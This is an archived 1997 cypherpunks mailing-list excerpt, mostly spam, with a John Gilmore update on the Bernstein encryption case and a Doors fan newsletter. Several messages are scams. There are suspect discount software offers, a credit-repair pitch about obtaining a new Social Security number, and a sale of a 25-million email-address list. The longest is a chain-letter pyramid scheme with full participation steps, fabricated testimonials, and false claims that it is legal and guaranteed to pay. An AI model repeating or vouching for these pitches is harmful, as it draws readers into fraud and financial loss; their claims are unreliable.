exercised their right to their exempt status, the government would have
 to live within it's means.

Get details at:

http://FutureGate.com/tax_buster

...............................................

To be removed from future mailings, send to remove@futuregate,com with
Remove in the subject line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 10 Sep 1997 15:53:06 -0700 (PDT)
To: bernstein-announce, gnu
Subject: Government filed 9th Circuit Bernstein brief asking for full stay
Message-ID: <199709102238.PAA10894@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Today the Government filed a 22-page brief arguing to the 9th Circuit
Court that it would be so injurious to the national security for
Prof. Bernstein to be able to publish his Snuffle 5.0 software on the
Internet, that a complete stay of Judge Patel's injunction is needed.

They also propose that the entire appeal be done on an expedited basis.

The brief is accompanied by two seven-page personal declarations,
one from William P. Crowell, Deputy Director of NSA, and one from
William A. Reinsch, Under Secretary for Export Administration.

These will be up as page images on the Web shortly, under
http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/Legal/

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 84903020@ix.netcom.com
Date: Thu, 11 Sep 1997 08:28:35 -0700 (PDT)
To: bullwinkle@rocky.com
Subject: Here's  the info you requested
Message-ID: <19970908182053.load2391.in@don>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Everybody loves Mr. Chicken!



Kids are going wild over Mr. Chicken.  Parents laugh hysterically at the sight of him.
Why spend $50 on toys that your kids forget about the next day when for pennies
they can have a Mr Chicken that they'll enjoy for months?
For full details, Email MrChicken@answerme.com



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pumei@vester.com (DJDIST)
Date: Wed, 10 Sep 1997 22:33:02 -0700 (PDT)
To: pumei@vester.com
Subject: adobe and microsoft products cheap, 22
Message-ID: <199709101270CAA38926@smtp_verification-900097765.121.208.68>
MIME-Version: 1.0
Content-Type: text/plain


MICROSOFT OFFICE Pro 97 only $399.00  (Full Version)  for Windows 95/NT



Get the latest verion of Micosoft Office Pro 97 that includes new versions of

Word 97, Excel 97, Powerpoint 97,  Access 97, Outlook 97, and Bookshelf

Basics  for the awesome price of $399.00 !!   

Compare our price to your typical store price of over $650.00 !!!

------------------------------------------------------------------------------

ADOBE PHOTOSHOP 4.0 only $450.00 (Full Version) for Windows 95/NT/3.1

Professional Image Editing



Adobe Photoshop 4.0 is the world standard and professional's choice in photo

design and production for images used in print, multimedia, and on the web.

  It's packed with new creative features - and it's even faster than before.

   

Compare our price or $450.00 to your typical store price of over $600.00 !!!

------------------------------------------------------------------------------

ADOBE PAGEMAKER 6.5 only $399.00 (Full Version) for Windows 95/NT

World's leading desktop publisher



Designed for all your layout needs, Adobe pagemaker 6.5 is the best

professional publishing software for printed and online pages.  It smoothly

integrates with Adobe Photoshop, Adobe Illustrator, and other Adobe products.

 

Compare our price of $399.00 to your typical store price of over $600.00 !!!

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ADOBE ILLUSTRATOR 7.0 only $299.00 (Full Version) for Windows 95/NT

Vector drawing and illustration



Adobe Illustrator 7.0 is the industry standard illustration software.  It's

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NAME AS IT APPEARS ON YOUR CARD (FAX # IS: 919-537-3125).





* Shipping is $7.95 for all U.S. orders and $24.00 for all others.

	







     













)To=c




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RBL@cosmos.com
Date: Thu, 11 Sep 1997 01:21:50 -0700 (PDT)
To: RBL@cosmos.com
Subject: THE COSMOS                                                           THE UNIVERSE         2
Message-ID: <199709110819.EAA13215@brickbat8.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


E=MC  The equation for the atom bomb. It says that matter and energy are the 
same thing. So then what is that? Matter, look at a brick. Its in a three dimensional
form. Its made of electrons,  protons and neutrons (atoms) and they are moving so
the brick is moving. Energy, sunlight. Its in a three dimensional form. It comes to us
from the sun therefore it is moving. 3D and moving Both matter and energy are 3D
and moving. I outproduce Einstein. We already know all matter has gravity. The
bending of light shows that energy has gravity also. So matter and energy are
3D moving with gravity. The universe is made of matter, energy, time and space.
That just stated is the matter and energy part. Time and space. Take everything
in the universe and stop it. Does time progress? No. Therefore time is the motion
and the understanding of all the motion is the understanding of all of time.
Space, it ends. Space does not go on forever. Space is in a three dimensional
form. It moves but does not have gravity. Space moves like this.   O  /\  +  \/  O
And that is the understanding of all of time.
   O   This is what was first in the beginning.
   /\  This is the old kings and queens.
   +   This is democracy.
   \/  This is socialism.
   O   This is when the Lord Jesus Christ returns.
And that is the understanding of the universe.  Glory be to the Father the Son
and the Holy Ghost. Revelation chapter 10 & 11; 15-19. It is very important the
people receive this information. You may tell someone about this.
                                                 Thank You
                                               Robert Lavelle   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 90953084@juno.com
Date: Sun, 12 Oct 1997 10:46:23 -0700 (PDT)
To: stopnow@2000nomorehassles.net
Subject: Deliverable Mail
Message-ID: <106422XGY74505@2000nomorehassles.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
/////////////////////////////////////////////////////////////////
CREDIT CENTER***CREDIT CENTER***CREDIT CENTER***CREDIT CENTER
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
If you received this electronic mailing by mistake, please pardon the
intrusion.

Dear Friend;

Are you or somebody you know experiencing credit problems?  If the
answer is yes, our special offer might be just the cure you have been
looking for.  No longer will you have to live like a second class
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variety of reasons and can happen to anybody.  There is no profile of a
person with credit problems, it can happen to anybody.  In fact, one in
three Americans live with some form of bad credit.  Fortunately, the
United States Government has passed many laws under the Fair Credit
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\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
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Have you recently been denied credit due to a bad credit report?  Have
you seen your credit report lately?  If your answered yes, then you need
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is unique in that it shows you how to obtain a brand new Social Security
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Using guidelines set forth by the Social Security Administration, this
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////////////////////////////////////////////////////////////////

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This program is very simple.  It extends to you a $5,000 instant line of
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You will receive the 'WorldCard' (TM) Wholesale Purchasing Club catalogs
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You will be required to make a small down-payment with your orders
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As a special BONUS, if you take advantage of this offer within the next
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***** 'STOP COLLECTION AGENCIES COLD' (TM) *****

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Millions of collection agency telephone calls and letters are made or
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This manual will show you how to put an end to these telephone calls and
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Gain back your self-esteem and piece-of-mind by ordering 'Stop
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/////////////////////////////////////////////////////////////////

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Good credit empowers you to qualify for personal loans, automobile
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Anything damaging to your credit, such as bankruptcies, judgements, tax
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If bad credit on your credit file is standing in the way of your
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IMS
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YES, please rush the manuals checked below:

_____   'The Fresh Start Program II' (TM)         	$34.95

_____   'WorldCard' (TM) Credit Card            	$34.95

_____   'Stop Collection Agencies Cold' (TM)   	 $34.95

_____   'The Complete Credit repair Kit' (TM)   	$34.95

_____   TAKE ALL FOUR (SAVE over $39)   	$99.95


$____________  Sub-Total

$4.95    Shipping & Handling for each manual ordered
$15.00   RUSH Delivery (Optional)

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I Have Enclosed (Check One):
_____   Cashiers Check
_____   Money Order
_____   Personal Check
_____   FAX ORDER


SHIPPING INFORMATION:

Name:__________________________________________________
Address:________________________________________________
City:_______________________State:________Zip Code:_________
Telephone Number:___________________

Your E-Mail Address (For order confirmation):___________________

////////////////////////////////////////////////////////////////

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Please tape your signed personal check in the space below and fax to
IMS.  The 24 hour facsimile number is 1-423-681-6520.

******************************************************

FAX 1-423-681-6520

Please TAPE Your Check Here

Please SIGN Your Check

******************************************************

THANK YOU For Your Order!!!




</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: emailing@tnlb.com
Date: Thu, 11 Sep 1997 16:59:16 -0700 (PDT)
To: emailing@tnlb.com
Subject: A Message For You
Message-ID: <199709112131.PAA14635@replicator.tnlb.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////

25 Million Email Addresses On CD-ROM

At a rate of even 5,000 addresses per hour, it will
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24 hours, 7 days a week, 30 days a month, to collect
3,600,000 addresses

At this rate, it would require seven months to
extract 25,000,000 addresses.

If you are marketing on the Internet and want to
use bulk emailing for your business, this special
offer should be of interest to you.

Our 25-Million Email Address List is being made
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That's right -

25-Million Addresses for only $199.

To order this CD-ROM, simply call us at (812)
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$199 for this large of a list is a real bargain and
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So, call today - 812-597-1000

Due to the huge response we've had to this
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very busy accepting incoming orders.

So, please be patient when calling as this offer
will not last very long.

Remember, ask our operator for Offer #199-CD.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: somebody@somewhere.com
Date: Thu, 11 Sep 1997 13:40:04 -0700 (PDT)
Subject: New Member Registration
Message-ID: <199709112115.QAA03585@fs1.sccsi.com>
MIME-Version: 1.0
Content-Type: text/plain


A Message From Mr. T
Account Login: killer
Account Password: instinct
This message has been auto-generated - No need to reply





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 90645164@juno.com
Date: Thu, 11 Sep 1997 23:10:44 -0700 (PDT)
To: sasdfsdfa@juno.com
Subject: Make Money right now
Message-ID: <515453254123.CAA32523@asdfsfdsdf.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a one time mailing, if you want to be removed from our list, do not reply to this add and we will never mail to you again.
Dear Friend,

Before you delete this letter from your mailbox, please take a moment to 
read over the enclosed program and... REALLY THINK ABOUT IT!

My name is Christopher Erickson.  Two years ago, the corporation I worked at 
for the past twelve years down-sized and my position was eliminated.  After 
unproductive job interviews,  I decided to open my own business.  Over the 
past year, I incurred many unforeseen financial problems.  I owed my family,
friends, and creditors over $35,000.  The economy was taking a toll on my business 
and I just couldn't seem to make ends meet.  I had to refinance and borrow against 
my home to support my family and struggling business.  I truly believe it was wrong 
for me to be in debt like this.  AT THAT MOMENT something significant happened in
my life and I am writing to share my experience in hopes that this will change
 your life FOREVER....FINANCIALLY...!!!

In mid-December, I received this program via email.  Six months prior to receiving 
this program I had been sending away for information on various business 
opportunities.  All of the programs I received, in my opinion, were not cost effective.  
They were either too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they worked or not.  One claimed I'd make a million 
dollars in one year...it didn't tell me I'd have to write a book to make it.

Initially I sent out 100,000 emails.  It only cost me about $80.00 for my hiring of a 
bulk e-mail company. The great thing about email is that I didn't need any money for 
printing to send out the program, only the cost to fulfill my orders.  I am telling you like 
it is, I hope it doesn't turn you off, but I promised myself that I would not "cheat" 
anyone, no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.  By January 
13th, I had received 26 orders for REPORT #1.  When you read the GUARANTEE in 
the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT 
#1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU 
DO!"  My first step in making $50,000 in 90 to 120 days was done.  By January 30th, 
I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU 
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF
NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, 
THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 
orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 
19th, of my emailing of 100,000, I received $58,000 with more coming in every day.  
I paid off  ALL my debts and bought a much needed new car.  

Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!  
Remember, it won't work if you don't try it.  This program does work, but you must follow 
it EXACTLY!  Especially the rules of not trying to place your name in a different place.  
It doesn't work, you'll lose out on a lot  of money!  REPORT #2 explains this.  Always 
follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for 
REPORT #2 and you will make $50,000 or more in 20 to 90 days.  I AM LIVING PROOF 
THAT IT WORKS !!!  If you choose not to participate in this program, I'm sorry.  It really 
is a great opportunity with little cost or risk to you.  If you choose to participate, follow 
the program instructions and you will be on your way to financial security.

Sincerely,
Christopher Erickson


"THREW IT AWAY"
I had received this program before.  I threw it away, but later wondered if I shouldn't have 
given it a try.  Of course, I had no idea who to contact to get a copy, so I had to wait until I 
was emailed another copy of the program.  Eleven months passed, then it came.  I DIDN'T 
throw this one away.  I made $41,000 on the first try.

Dawn W., Evansville, IN


"IT WAS TRULY AMAZING"
Not being the gambling type, it took me several weeks to finally make up my mind to 
participate in this program.  I decided that the initial investment was so little that there 
was no way that I could not get enough orders to at least make back what I had invested.  
BOY, was I ever surprised when I found my medium sized post office box crammed with 
orders!  Any doubts you may have will vanish when your first orders come in.  
THIS PROGRAM WORKS!!!

Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and we'll assume you 
and all those involved send out 2,000 programs each. Let's also assume that the mailing
receives a .5% response.  Using a good list the response could be much better.  Also many
people will send out hundreds of thousands of programs instead of 2,000.  But continuing
with this example, you send out only 2,000 programs.  With a .5% response, that is only 10 
orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs each for a 
total of 20,000.  Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail 
out 2,000 programs each for a total of 200,000.  The .5% response to that is 1,000 orders for 
REPORT #3.  Those 1,000 send out 2,000 programs each for a 2,000,000 total.  The .5% 
response to that is 10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you. 
CASH!!!!  Your total income in this example is $50 + $500 + $5000 + $50,000 for a total of 
$55,550....!!!!   

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL 
DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT 
WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 
ONLY 2,000.  

Believe me, many people will do that and more!  By the way, your cost to participate in this is 
practically nothing.  You obviously already have an Internet connection and email is FREE!!!  
REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. 


INSTRUCTIONS

This is the GREATEST Multi-level Mail Order Marketing anywhere:

STEP (1)   Order all four (4) REPORTS listed by NAME AND NUMBER.  Do this by ordering the 
REPORT from each of the four (4) names listed on the next page.  For each REPORT, send 
$5 CASH and a SELF-ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the person
listed for the SPECIFIC REPORT.  International orders should also include $1 extra for postage.  
It is essential that you specify the NAME and NUMBER of the report requested to the person 
you are ordering from.  You  will need ALL FOUR (4) REPORTS because you will be REPRINTING 
and RESELLING them. DO NOT alter the names or sequence other than what the instructions say.  
IMPORTANT:  Always provide same-day service on all orders.

STEP (2)   Replace  the  name  and  address  under  REPORT #1  with yours,  moving the one 
that was there down to REPORT #2.  Drop  the  name and address under REPORT #2 to REPORT 
#3, moving the one that was there to REPORT #4.  The name and address that was under REPORT 
#4 is dropped from the list and this party  is  no doubt on the way to the bank.  When doing this, 
make certain you type the names and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT POSITIONS!!!

STEP (3)   Having made the required changes in the NAME list, save it as a text (.txt) file in it's own 
directory to be used with whatever email program you like.  Again, REPORT #3 will tell you the best 
methods of bulk emailing and acquiring email lists.

STEP (4)   Email a copy of the entire program (all of this is very important) to everyone whose address 
you can get your hands on. Start with friends and relatives since you can encourage them to take 
advantage of this fabulous money-making opportunity.  That's what I did.  And they love me now, 
more than ever.  Then, email to anyone and everyone!  Use your imagination!  You can get email 
addresses from companies on the Internet who specialize in email mailing lists.  These are very 
cheap, 100,000 addresses for around $80.00. One of the reports will tell you where to get this deal 
from.

IMPORTANT:  You won't get a good response if you use an old list, so always request a FRESH, 
NEW list. You will find out where to purchase these lists when you order the (4) REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***  Order each REPORT by NUMBER and NAME  ***

ALWAYS: SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER, 
REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER

____________________________________________________________

REPORT #1: "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

DDTFM Marketing
2232 S Main #392
Ann Arbor, MI 48103
USA

____________________________________________________________

REPORT #2: "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

WayDen Enterprises, Inc.
P.O. Box 73
Waukesha, WI  53187-0073
USA

____________________________________________________________

REPORT #3: "SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Blackhawk Marketing
P.O. Box 523
Warrenville, IL 60555
USA

______________________________________________________

REPORT #4: "EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Leet Marketing   
PO Box 3834
Flagstaff,  AZ   86003-3834  
USA

____________________________________________________________


CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too, will be 
making money in 90 to 120 days, if you follow the SIMPLE STEPS outlined in this 
mailing.  However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it.  It is much easier to say "NO" than 
"YES", and this is the question that you must answer. Will YOU ignore this amazing 
opportunity or will you take advantage of it? If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, this is a special 
opportunity. If you have any questions, please feel free to write to the sender of this 
information.  You will get a prompt and informative reply. 

My method is simple.  I sell thousands of people a product for $5 that costs me pennies
to produce and email.  I should also point out that this program is legal and everyone who 
participates WILL make money.  This is not a chain letter or pyramid scheme.  
At times you have probably received chain letters, asking you to send money, on faith,
but getting NOTHING in return, NO product what-so-ever!  Not only are chain letters illegal,
but the risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they purchase the product 
from you, they reproduce more and resell them. It's simple free enterprise.  As you learned 
from the enclosed material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS 
REPORTS.  The information contained in these REPORTS will not only help you in 
making your participation in this program more rewarding, but will be useful to you 
in any other business decisions you make in the years ahead. You are also buying the 
rights to reprint all of the REPORTS, which will be ordered from you by those to whom 
you mail this program.  The concise one and two page REPORTS you will be buying 
can easily be reproduced at a local copy center for a cost off about 3 cents a copy. 
Best wishes with the program and Good Luck!


TIPS FOR SUCCESS

Send for your four (4) REPORTS immediately so you will have them when the 
orders start coming in.  When you receive a $5 order, you MUST send out the 
product/service to comply with US Postal and Lottery laws.  Title 18, Sections 
1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST BE 
EXCHANGED FOR MONEY RECEIVED."


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your new company. You can use your own name if you desire.

2. Get a post office box (preferred).

3. Edit the names and addresses on the program. You must remember, 
your name and address go next to REPORT #1 and the others all move 
down one, with the fourth one being bumped OFF the list.

4. Obtain as many email addresses as possible to send until you receive
the information on mailing list companies in REPORT #3.

5. Decide on the number of programs you intend to send out.  The more 
you send, and the quicker you send them, the more money you will make.

6. After mailing the programs, get ready to fill the orders.

7. Copy the four (4) REPORTS so you are able to send them out as soon as
you receive an order.  IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE 
ON ORDERS YOU RECEIVE!

8. Make certain the letter and reports are neat and legible.


YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must 
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within 
two weeks, email out more programs until you do.  Then a couple of weeks 
later you should receive at least 100 orders for REPORT #2, if you don't, 
send out more programs until you do.  Once you have received 100 or more 
orders for REPORT #2, (take a deep breath) you can sit back and relax,  
because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it 
is a proven guarantee.   Of  those who have participated in the program and 
reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also, 
remember, every time your name is moved down the list you are in front of a 
different REPORT, so you can keep track of your program by knowing what 
people are ordering from you.  IT'S THAT EASY, REALLY, IT IS...!!!




******************************************










































This is a one time mailing, if you want to be removed from our list, do not reply to this add and we will never mail to you again.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KennethB@comm2net.com
Date: Mon, 15 Sep 1997 08:10:35 -0700 (PDT)
Subject: Are You In Need Of A Lifestyle Change...
Message-ID: <199709121338.JAA02274@server1.comm2net.com>
MIME-Version: 1.0
Content-Type: text/plain


There is no need to respond as you are not on a mailing list with us, if this doesn't 
interest you, also my apology.

Now for the first time ever you have the opportunity to join the most
extraordinary and most powerful wealth building program in the world!
This program has never been offered to the general public until now! 
Because of your desire to succeed, you have been given the opportunity
to take a close look at this program.

If you're skeptical, that's okay. Just make the call and see for
yourself.  My job is to inform you, your job is to make your own
decision.

If You Didn't Make $200,000.00 Last Year...

You  Owe  It  To  Yourself  And  Your  Family  To  Give  Our  Program
Serious Consideration!

Also, when you start making this kind of money within weeks, after
joining our team, you will actually learn how you can preserve it and
how to strategically invest it!

I invite you to call me for more details at 1-800-322-6169 ext. 3952.
This is a free 2 minute recording, so call right now!

Prosperous regards,

Kenneth Buntin
This Is Not Multi Level Marketing/Serious Inquiries Only






















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: doorlist@doors.com
Date: Fri, 12 Sep 1997 01:32:08 -0700 (PDT)
To: doorlist@doors.com
Subject: The Doors Collectors Magazine
Message-ID: <199709120834.CAA04986@pure.fiber.net>
MIME-Version: 1.0
Content-Type: text/plain


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Welcome to the first issue of The Doors Collectors Magazine's Strange Days Email Newsletter sent out free to our on-line Doors friends. We don't believe in spamming so if you have received this newsletter in error, please send a return email to doorlist@doors.com  with the word "remove" in the subject line and your name will be blocked from any future issues of our email newsletters.
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

             STRANGE DAYS HAVE FOUND YOU!

After eight years of printing paper copies of The Doors Newsletter we're now adapting to this new digital format.  Since it's hard to email bulky visuals of what we're talking about, we've set up several web pages that have more information about certain topics. If something strikes you as interesting, by all means check out the pages!  Many of these web pages will not be connected to the rest of our web site and will remain exclusive only for those members of our email list. To fond out more about this list, go to:
	http://www.doors.com/StrangeDays

We will continue our periodic (snail-mail) mailings which go out to all Doors fans on our mail list, but now that it's not a 3 week job to get these newsletters sent out we're hoping we can keep everyone more up-to-date.

Contents of this issue (not in order of importance)
      1.  Wild Child: Life With Jim Morrison  
          (A new book)
      2.  The Doors Box Set   (Finally!)
      3.  A Conversation With Jim Morrison  (New CD)
      4.  The Doors Museum  (A very RARE poster!)
      5.  The Doors Madison Square Garden '69  
          (New cassette tape)
      6.  The Doors Original Equipment  (For Sale?!)

1.  *********  "WILD CHILD"  BY LINDA ASHCROFT
    *******************************************

A new book was recently released in the UK called "Wild Child: Life with Jim Morrison" by Linda Ashcroft  (£17.99).  Strangely enough days after copies hit the shelves, they were pulled! Those of us in the States don't have too much of a chance of getting these first editions since right now all the UK copies have either been pulled or sold.  You lucky people in Australia still have a chance of getting your copies though!  But be quick about it because they *will* be pulled there, too!  If any of you have any extra first edition copies (August '97) that you would like to sell please shoot me an email! I'm interested! 

So, what's the book about?  I talked to Linda and this is what she had to say:

"Wild Child: Life With Jim Morrison" invites you to run with Jim Morrison and me from the summer of 1967 until three days before his death in '71. Drawn from the pages of "Jim said" and "I said" that made it to my diary from the time, "Wild Child" often simply lets Jim speak for himself.  Before he left for Paris Jim told me, "It may have been in bits and pieces, but I gave you the best of me." Jim teased I was the ballast in his life; a "Horse Latitudes" joke.  May "Wild Child" provide ballast for his memories.

I guess when you ask authors for quotes, advertisements are what you get *But* I'm here to tell you more, so crank on the first Doors' CD, song #7 is a good place to start, and listen up:  

This book is a biographical account of a young girl (15 years old) and her experiences with Morrison. Although she admits that, while they never had sex, the two were going to be married when Jim returned home from Paris. They even had their rings picked out at one point.  Whether or not this book has any merit remains to be seen (I haven't got a copy yet), but one thing remains sure... due to what the publishers are calling an "editing error"...the books are not on the shelves in England anymore and are almost impossible to find which makes these first editions instant collectibles.

James Langton (London Telegraph) asked me to help him research an article for their paper. I obliged, only to be repaid by his mis-quoting the name of our magazine in the Telegraph article. (Sorry James, but I hope the rest of your article was more accurate;-) James felt very skeptical about the book because he had an impossible time finding *anyone* to back up the author's seemingly unsubstantiated claims.... In fact, he's still looking. And I'm told that one only has to read the first 40 pages or so to realize why the book was pulled from the shelves.

Whether or not the book's claims are true, *my* only claim (so far) is that these first editions from August 1997 will be worth their weight in gold, not just because of the controversial claims, but also because of the books' limited availability ...and that's a lot of gold considering this is a 549 page book!  What about the second issues?  We'll have to get back to you on this one.


2.  *********************  THE DOORS BOX SET
    *********************************************

It's all over! The Wait is Over!  October 28th, 1997 is the release date! The three remaining Doors were spotted in the studio last Friday finishing up some loose ends on the musical background for "Orange County Suite." Doors fans have waited a long time for the box set's release, but finally the wait will be over.  A set list given by the band to Ice Magazine says the box set will look like this: 

CD 1
           Five to One, Miami 1969
           Queen of the Highway,1969 demo
           Hyacinth House, demo
           Who Scared You, b-side to Wishful Sinful
           Black Train Song, Philadelphia 1970
           Whiskey, Mystics and Men, Morrison Hotel 
           outtake
           I Will Never Be Untrue, LA 1970
           My Eyes Have Seen You, 1965 demo
           End of the Night, 1965 demo
           Moonlight Drive, 1965 demo
           Rock is Dead, 1969 studio jam
           Albinoni, 1969 symphonic piece

CD 2  Live in New York 1/70
           Roadhouse Blues
           Ship of Fools
           Peace Frog/Blue Sunday
           Celebration of the Lizard
           Gloria
           Crawling King Snake
           Money
           Poontang Blues/Build Me a Woman/
           Sunday Trucker
           The End

CD 3
           Hello to the Cities, composite track
           Break On Through, Isle of Wight 1970
           Rock Me, Vancouver 1970
           Money, Vancouver 1970
           Someday Soon, Seattle 1970
           Go Insane, 1965 demo
           Mental Floss, LA 1970
           Summer's Almost Gone, 1965 demo
           Adolph Hitler, Boston 1970
           Hello I Love You, 1965 demo
           Crystal Ship, San Francisco 1967
           I Can't See Your Face in My Mind, SF 1967
           Soft Parade, PBS 1970
           Tightrope Ride, OV released version
           Orange County Suite, 1970
           
CD 4  Band Favorites
          Densmore's picks: 
             Love Me Two Times/Riders on the Storm/
             When the Music's Over/Unknown Soldier/
             Wild Child
          Manzarek's picks: 
             I Can't See Your Face in My Mind/
             Land Ho!/Shaman's Blues/
             Yes, the River Knows/You're Lost Little 
             Girl
          Krieger's picks: 
             LA Woman/Light My Fire/Peace Frog/
             Take It As It Comes/Wishful Sinful
           
All tracks on CD 4 are the released versions. The track order may differ from what is listed here, but the other three CDs are supposedly correct. 

My personal feeling is that there will be a few surprises on the box set, too. But I guess we'll have to wait and see... Hopefully one of the surprises will be "Paris Blues"?  or maybe even some words from Morrison himself ?!


3.  ********  A CONVERSATION WITH JIM MORRISON
    *******************************************

A new compact disc is now out with a previously unpublished interview with Jim Morrison conducted by Ben Fong-Torres of Rolling Stone Magazine in February of 1970.  Doors historians will note this is right before Jim left for Paris. The 74-minute interview is brilliant. Finally we hear an interview by a professional journalist with some excellent questions!  As a bonus, we hear Pamela Courson answer a few questions as she entered the apartment where the interview was being conducted.

Unlike many European CDs that have been released recently, this one has a quality interview and some seriously delightful insights instead of sad disappointments.  

This is the first time I've ever heard the voice of Pamela in an interview, and what a great interview to hear it on! Definitely a CD that is not to be missed! For more information and a list of topics that are covered in the CD, please check out:
	http://www.doors.com/StrangeDays/LPs_CDs/ben-fong.html


4.  *************  THE DOORS COLLECTOR'S MUSEUM
    **********************************************

Ever since The Doors asked our magazine to host a Doors memorabilia review on their video laser disc set, "The Doors Collection"  I've wanted to do a series of web pages on this same topic.  This section will feature both collectibles that are for sale and those that have recently been sold. While our printed magazine features an Auction Review in each issue, this web section will feature underground items that have been bought and sold between collectors. This will give Doors fans the opportunity to see many collectibles that they wouldn't be able to see any other way.

We tried to get this section finished in time for this bulletin, but were unable to get the html finished up for most of the items.  Keep checking http://www.doors.com for the latest news about this section!  We do have atleast one web page completed for this list - it is of a very rare collectible that thus far remains unsold. It is...

The Doors very own commercial poster privately printed in August 1968 and sold at two concerts.  They must've sold a million, you say!  No, it was a financial flop.  While artistically designed by Jim Morrison and Paul Ferrara, the poster proved to be cumbersome and very impractical to market. Ray Manzarek himself explains why in his hand written letter of authenticity that accompanies the poster.  Ray estimates that only about 300 of these posters were actually sold making it one of the rarest Doors posters there is!  For more details (Ray's letter in particular) check out:
	http://www.doors.com/StrangeDays/museum/poster.html

5.  **********  NEW DOORS "LIVE" TAPES AVAILABLE
    ********************************************

As already reported in The Doors Collectors Magazine #9 a better than average audience recording of The Doors Madison Square Garden show from  January 24, 1969 has found its way out of the box it sat in for the last 28 years and is available on our trade list. Our copy comes from a DAT of a first generation tape...it doesn't get much better than this! This historic show was a sold out performance to over 20,000 fans!  The Doors had a horn section on stage to augment all the Soft Parade album songs that they performed that night.  Definitely a Doors performance at the pinnacle of their career like no other tape around!  For more on the MSG show be sure to check out the Strange Days home page for a very interesting article written by Bill Tikellis that is jam packed full of details
	http://www.doors.com/StrangeDays

6.  *****  THE DOORS ORIGINAL EQUIPMENT FOR SALE
    ********************************************

